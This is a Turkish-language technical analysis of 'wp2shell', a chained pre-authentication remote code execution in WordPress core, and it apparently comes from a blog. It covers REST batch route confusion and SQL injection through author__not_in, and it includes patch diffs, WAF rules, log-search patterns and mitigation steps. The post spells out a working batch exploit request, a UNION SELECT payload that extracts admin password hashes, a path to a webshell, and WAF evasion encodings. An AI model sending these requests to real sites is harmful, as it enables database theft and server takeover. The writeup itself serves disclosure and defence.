wp2shell: WordPress Core’da Pre-Authentication RCE Zafiyetinin Teknik Analizi

CVE-2026-63030 & CVE-2026-60137 — WordPresste kimlik doğrulaması gerekmeden uzaktan kod çalıştırma.


TL;DR

17 Temmuz 2026’da WordPress, son yılların en kritik güvenlik yamasını yayınladı. wp2shell olarak adlandırılan zafiyet zinciri, varsayılan bir WordPress kurulumunda — hiçbir eklenti, kullanıcı etkileşimi veya kimlik doğrulaması gerektirmeden — uzaktan kod çalıştırma (RCE) imkanı sunuyordu.

Saldırı, iki bağımsız zafiyetin zincirlemesiyle çalışıyor:

  1. CVE-2026-63030 — REST API batch endpoint’inde route confusion (yönlendirme karışıklığı)
  2. CVE-2026-60137WP_Query sınıfında author__​not_in parametresi üzerinden SQL Injection

Tek başına bakıldığında SQL injection yalnızca kimliği doğrulanmış kullanıcılar tarafından erişilebilir. Ancak route confusion zafiyeti, bu kısıtlamayı tamamen devre dışı bırakarak saldırı zincirinin unauthenticated hale gelmesini sağlıyor.

Etkilenen sürümler: WordPress 6.9.0 – 6.9.4 ve 7.0.0 – 7.0.1 Yamalar: WordPress 6.9.5 ve 7.0.2 (17 Temmuz 2026) CVSS 3.1: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Zafiyetin Keşfi ve Sorumluluk

wp2shell, Searchlight Cyber bünyesindeki Assetnote araştırmacısı Adam Kues tarafından keşfedildi ve WordPress’in HackerOne bug bounty programı üzerinden sorumlu bir şekilde raporlandı. SQL injection bileşeni (CVE-2026-60137) ise TF1T, dtro ve haongo tarafından bağımsız olarak raporlandı.

WordPress güvenlik ekibi, her iki zafiyeti de aynı yama döngüsünde düzeltti ve Cloudflare, Wordfence gibi WAF sağlayıcılarıyla koordineli bir şekilde yayınladı.


Zincirin Anatomisi

wp2shell, iki zafiyetin birbirini tamamladığı bir saldırı zinciridir. Bunları ayrı ayrı inceleyelim.

Halka 1: REST API Batch Route Confusion (CVE-2026-63030)

WordPress 5.6 ile birlikte gelen REST API batch endpoint’i (/wp-json/bat​ch/v​1), tek bir HTTP isteğiyle birden fazla REST API çağrısını toplu olarak göndermeyi sağlar. Bu endpoint anonim olarak erişilebilir — ancak içindeki her sub-request, kendi route handler’ının yetki kontrolünden (permission callback) geçmelidir.

Sorun, WP_REST_Server::serve_bat​ch_request_v1() fonksiyonunda ortaya çıkıyor. Bu fonksiyon, gelen sub-request’leri işlerken iki paralel dizi (array) kullanır:

  • $matches[] — Her sub-request için eşleşen route handler’ları
  • $responses[] / $validation[] — Her sub-request’in doğrulama sonuçları

Kritik hata: Bir sub-request’in yolu (path) geçersiz olduğunda — örneğin http://: gibi ayrıştırılamayan bir URL — wp_parse_url() başarısız olur ve bir WP_Error nesnesi üretilir. Bu hata nesnesi validation dizisine eklenir, ancak matches dizisine eklenmez. Bu, iki dizinin senkronizasyonunu bozar.

Bu desenkronizasyonu bir örnekle gösterelim:

Batch Request:
  requests[0]: POST "http://:"        ← geçersiz path, parse başarısız
  requests[1]: DELETE /wp/v2/categories/0
  requests[2]: POST /wp/v2/block-renderer/core/paragraph

İç İşleyiş:
  $validation[0] = WP_Error("parse_failed")  ← hata kaydedildi
  $validation[1] = handler_for_categories     ← normal
  $validation[2] = handler_for_block_renderer ← normal

  $matches[0] = handler_for_categories        ← index kayması!
  $matches[1] = handler_for_block_renderer    ← index kayması!
  // $matches[2] yok — dizi kısa kaldı

Dispatch Aşaması:
  request[1] → $matches[0] ile dispatch → categories handler'ı çalışır
                                           AMA block-renderer'ın permission callback'i ile!
  request[2] → $matches[1] ile dispatch → block-renderer handler'ı çalışır
                                           AMA var olmayan handler'ın callback'i ile!

Bu +1 index kayması (array index desynchronization), her sub-request’in bir sonrakinin yetki kontrolü altında çalışmasına neden olur. Saldırgan, bu kayışı kasıtlı olarak tetikleyerek, normalde edit_posts veya manage_categories yetkisi gerektiren endpoint’lere anonim olarak erişebilir.

Halka 2: author__​not_in SQL Injection (CVE-2026-60137)

WordPress’in sorgu motoru WP_Query, veritabanı sorgularını oluşturmak için kullanılan merkezi sınıftır. author__​not_in parametresi, belirli yazarların içeriklerini sonuçlardan hariç tutmak için tasarlanmıştır ve normalde bir integer dizisi (array) bekler:

// Beklenen kullanım:
$query = new WP_Query(['author__​not_in' => [5, 12, 33]]);
// Üretilen SQL: ... AND post_author NOT IN (5, 12, 33)

Zafiyet, bu parametrenin dizi yerine string olarak gönderildiğinde ortaya çıkar:

// Zafiyetli kod (yama öncesi):
if ( ! empty( $q['author__​not_in'] ) ) {
    // is_array() kontrolü YOK!
    $not_in = implode(',', $q['author__​not_in']);
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($not_in)";
}

PHP’nin implode() fonksiyonu bir string üzerinde çağrıldığında, string’i olduğu gibi döndürür. Bu, saldırganın doğrudan SQL sorgusu içine kod enjekte etmesine olanak tanır:

Gönderilen parametre:
  author__​not​_in = "999) UNI​ON​ SEL​ECT user_login,user_pass FROM wp_users--"

Üretilen SQL:
  ... AND post_author NOT IN​ (999) UNI​ON​ SEL​ECT user_login,user_pass FROM wp_users--)

Normalde bu parametre yalnızca authenticated REST API endpoint’leri üzerinden erişilebilir. Ancak route confusion zafiyeti bu kısıtlamayı kaldırdığında, anonim bir saldırgan SQL injection’a tam erişim kazanır.


Exploit Zinciri: Adım Adım

Aşağıda, wp2shell saldırı zincirinin baştan sona nasıl çalıştığını adım adım açıklıyoruz. Bu bilgi savunma amaçlıdır — hangi aşamada tespit ve engelleme yapılabileceğini anlamak için gereklidir.

Adım 1: Batch Request ile Route Confusion Tetikleme

Saldırgan, batch endpoint’ine tek bir POST isteği gönderir:

POST /?rest​_route=/bat​ch/v​1 HTTP/1.1
Host: hedef-site.com
Content-Type: application/json

{
  "validation": "normal",
  "requests": [
    {"method": "POST", "path": "http://:"},
    {"method": "GET", "path": "/wp/v2/posts?author__​not_in=PAYLOAD"}
  ]
}
  • İlk sub-request kasıtlı olarak geçersiz: http://: parse edilemez, $matches dizisinde boşluk yaratır.
  • İkinci sub-request’teki author__​not_in parametresi, yanlış handler’ın permission callback’i altında çalışır.
  • Sonuç: Unauthenticated SQL injection.

Adım 2: Veritabanından Bilgi Çıkarma

SQL injection aracılığıyla saldırgan, wp_users tablosundan admin kullanıcı bilgilerini çeker:

author__​not_in=999) UNI​ON​ SEL​ECT user_login,user_pass FROM wp_users LIMIT 1--

Bu sorgu, veritabanındaki ilk kullanıcının (genellikle admin) kullanıcı adı ve parola hash’ini döndürür.

Adım 3: Admin Hash’ten Erişim Elde Etme

WordPress, parolaları phpass (Portable PHP password hashing framework) ile hashler. Saldırgan:

  • Hash’i offline olarak kırmayı deneyebilir (zayıf parolalar için etkili)
  • Veya SQL injection ile doğrudan admin parolasını değiştirebilir
  • Veya wp_options tablosunu manipüle ederek yeni bir admin hesabı oluşturabilir

Adım 4: Kod Çalıştırma (RCE)

Admin erişimi elde edildikten sonra, RCE için birden fazla yol mevcuttur:

  • Eklenti yükleme: Zararlı PHP kodu içeren bir eklenti ZIP dosyası yüklenir
  • Tema düzenleme: Appearance > Theme Editor üzerinden PHP dosyalarına webshell eklenir
  • wp_options manipülasyonu: SQL injection ile siteurl veya template gibi kritik ayarlar değiştirilir

Sonuç: Sunucu üzerinde tam kontrol.

Önemli Not: Object Cache Etkisi

Searchlight Cyber’ın araştırmasına göre, RCE’ye giden son adım persistent object cache kullanılmayan WordPress kurulumlarında çalışır. Redis veya Memcached gibi bir cache katmanı aktifse, exploit zincirinin RCE aşaması kesintiye uğrayabilir. Ancak bu bir düzeltme değildir — SQL injection ve veri sızıntısı riski devam eder.


REST API’nin İki Yüzü: wp-json ve rest_route

WordPress REST API’ye iki farklı yoldan erişilebilir:

  1. Pretty permalink: https://site.com/wp-json/bat​ch/v​1
  2. Query parameter: https://site.com/?rest​_route=/bat​ch/v​1

Bu iki yol, WordPress tarafından tamamen eşdeğer şekilde işlenir. Ancak güvenlik araçları (WAF, IDS/IPS) genellikle yalnızca URI path’ini kontrol eder. Bu, rest_route query parameter’ı üzerinden yapılan isteklerin tespit edilememesine neden olur.

Bu durum, WAF bypass’ların en yaygın vektörünü oluşturur. Bir WAF kuralı /wp-json/bat​ch/v​1 path’ini blokluyor olsa bile, aynı fonksiyonalite ?rest​_route=/bat​ch/v​1 üzerinden erişilebilir durumda kalabilir.


WAF Koruma Stratejileri ve Evasion Teknikleri

Bu zafiyet, WAF kural yazımında karşılaşılan klasik sorunları mükemmel bir şekilde örnekler. Aşağıda, test ettiğimiz evasion vektörleri ve bunlara karşı etkili koruma yöntemleri yer almaktadır.

Yaygın Evasion Vektörleri

TeknikÖrnekAçıklama
Query parameter routing?rest​_route=/bat​ch/v​1Path yerine query string kullanımı
URL-encoded slash?rest​_route=%2Fba​tch%2Fv1Slash karakterinin encode’lanması
Double encoding?rest​_route=%252Fbatch%252Fv1Çift katmanlı encoding
Karakter encoding?rest​_route=/b%61​tch/v1Kelime içindeki harflerin encode’lanması
Case variance?rest​_route=/BAT​CH/V1Büyük/küçük harf varyasyonu
Parametre adı encoding?rest%5Froute=/bat​ch/v​1Underscore’un encode’lanması
HPP (Parameter Pollution)?rest​_route=/posts&rest​_route=/bat​ch/v​1Çoklu parametre
Whitespace injection?rest​_route=/bat​ch/v​1%0aNewline veya tab ekleme

Etkili WAF Kuralı Yazma İlkeleri

  1. Hem path hem query string kontrol edilmeli. Sadece URI path’i kontrol eden kurallar, rest_route bypass’ına açıktır.
  2. URL decode sonrası karşılaştırma yapılmalı. Ham (raw) query string üzerinde string karşılaştırması, encoding bypass’larına açıktır. WAF’ın normalize-after-decode özelliği aktif edilmelidir.
  3. Case-insensitive matching kullanılmalı. WordPress, route eşleştirmesinde büyük/küçük harf duyarsızdır.
  4. Parametre adı varyasyonları da dahil edilmeli. rest_route, REST_ROUTE, rest%5Froute gibi varyasyonlar aynı şekilde işlenir.

Örnek Etkili Kural Yapısı

Etkili bir WAF kuralı şu koşulları eş zamanlı karşılamalıdır:

IF (
  normalized_uri CONTAINS "bat​ch/v​1"
  AND (
    normalized_uri CONTAINS "wp-json"
    OR normalized_query CONTAINS "rest_route"
  )
)
THEN BLOCK

Buradaki normalized ifadesi, URL decode + lowercase dönüşümü sonrası elde edilen değeri ifade eder.


Patch Analizi

WordPress 7.0.2 ve 6.9.5 yamaları iki temel düzeltme içerir:

Düzeltme 1: Array Senkronizasyonu (CVE-2026-63030)

class-wp-rest-server.php dosyasında, batch request işleme mantığı güncellendi. Parse hatası oluştuğunda, hem $matches hem de $validation dizilerine tutarlı şekilde kayıt eklenerek index kaymasının önüne geçildi.

Düzeltme 2: author__​not_in Sanitization (CVE-2026-60137)

class-wp-query.php dosyasında, author__​not_in parametresi için tip kontrolü ve sanitization eklendi:

// Yama öncesi (zafiyetli):
if ( ! empty( $q['author__​not_in'] ) ) {
    $not_in = implode(',', $q['author__​not_in']);
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($not_in)";
}

// Yama sonrası (güvenli):
if ( ! empty( $q['author__​not_in'] ) ) {
    $author__​not_in = (array) $q['author__​not_in'];         // Array'e zorla
    $author__​not_in = array_map('intval', $author__​not_in);  // Integer'a dönüştür
    if ( $author__​not_in ) {
        $not_in = implode(',', $author__​not_in);
        $where .= " AND {$wpdb->posts}.post_author NOT IN ($not_in)";
    }
}

Yama, iki satırlık bir değişiklikle SQL injection’ı tamamen ortadan kaldırıyor: – (array) cast ile string girdi diziye dönüştürülüyor – array_map('intval', ...) ile tüm elemanlar integer’a zorlanıyor

Bir SQL injection payload’ı bu aşamadan sonra 0 (sıfır) değerine dönüşür ve zararsız hale gelir.


Korunma Rehberi

Acil Aksiyonlar

1. WordPress’i güncelleyin. 6.9.5 veya 7.0.2 sürümüne yükseltme, zafiyetin kalıcı çözümüdür. wp-admin > Dashboard > Updates üzerinden veya WP-CLI ile:

wp core update
wp core verify-checksums

2. Güncelleme yapılamıyorsa, batch endpoint’i devre dışı bırakın. wp-content/mu-plugins/disable-batch.php dosyası oluşturun:

<?php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/bat​ch/v​1']);
    return $endpoints;
});

3. WAF kuralı ekleyin. Hem /wp-json/bat​ch/v​1 path’ini hem de ?rest​_route=/bat​ch/v​1 query parameter’ını bloklamalıdır. URL decode ve case-insensitive matching aktif edilmelidir.

Tespit ve Doğrulama

Mevcut kurulumunuzun etkilenip etkilenmediğini kontrol etmek için:

# Versiyon kontrolü
wp core version

# Dosya bütünlüğü kontrolü
wp core verify-checksums --include-root

# Erişim loglarında exploit girişimi arama
grep -rE "bat​ch/v​1|rest​_route.*ba​tch" /var/log/nginx/access.log
grep -rE "author__​not​_in.*UNI​ON|author__​not​_in.*SLE​EP|author__​not​_in.*SEL​ECT" /var/log/nginx/access.log

Searchlight Cyber ayrıca wp2shell.com adresinde ücretsiz bir değerlendirme aracı sunmaktadır.

IoC (Indicators of Compromise) — Sızma Göstergeleri

Erişim loglarında şu kalıpları arayın:

  • POST /wp-json/bat​ch/v​1 veya POST /?rest​_route=/bat​ch/v​1 ile gelen istekler
  • author__​not_in parametresi içeren toplu API istekleri
  • Response code 207 (Multi-Status) dönen batch endpoint istekleri
  • Body’de http://: gibi kasıtlı olarak geçersiz path’ler içeren JSON payload’lar

Timeline

TarihOlay
2026 (tarih gizli)Adam Kues (Assetnote/Searchlight Cyber) zafiyeti keşfeder
2026 (tarih gizli)WordPress HackerOne programı üzerinden sorumlu raporlama
2026 (tarih gizli)TF1T, dtro, haongo bağımsız olarak SQLi bileşenini raporlar
17 Temmuz 2026, 17:03 UTCCloudflare WAF koruması devreye alınır
17 Temmuz 2026, 17:45 ETWordPress 7.0.2, 6.9.5 ve 6.8.6 yamaları yayınlanır
17 Temmuz 2026Searchlight Cyber araştırma yazısını yayınlar (teknik detaylar gizli tutulur)
18 Temmuz 2026PoC (Proof of Concept) kodları kamuya açılır
18 Temmuz 2026Aktif exploitation raporları başlar

Sonuç

wp2shell, WordPress güvenlik tarihindeki en ciddi zafiyetlerden biridir. Varsayılan kurulumda, sıfır ön koşulla, tek bir HTTP isteğiyle exploit edilebilmesi onu özellikle tehlikeli kılıyor.

Bu zafiyet, birkaç önemli dersi bir arada veriyor:

  1. Paralel veri yapıları senkronize tutulmalıdır. İki dizinin index’lerinin kayması, güvenlik kontrollerinin tamamen atlanmasına neden olabilir. Bu, sadece WordPress’e özgü değil, genel bir yazılım güvenliği ilkesidir.
  2. Tip kontrolü güvenlik sınırıdır. is_array() kontrolünün eksikliği, SQL injection’ın kapısını açtı. Kullanıcı girdisi beklenen tipte olmayabilir — her zaman doğrulayın.
  3. WAF tek başına yeterli değildir. WAF kuralları geçici bir savunma katmanıdır. URL encoding, parametre routing ve case varyasyonları gibi evasion tekniklerine karşı sürekli güncellenmesi gerekir. Asıl çözüm, kaynak kodun yamanmasıdır.
  4. Alternatif erişim yolları unutulmamalıdır. WordPress’in rest_route query parameter’ı, wp-json path’inin tam eşdeğeridir. WAF kuralları her iki yolu da kapsamalıdır.

Henüz yamalamadıysanız, şimdi yapın.


Kaynaklar


Bu yazı, savunma amaçlı teknik eğitim için hazırlanmıştır. Burada paylaşılan bilgiler, yalnızca yetkilendirilmiş güvenlik testleri ve sistem koruma faaliyetlerinde kullanılmalıdır.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir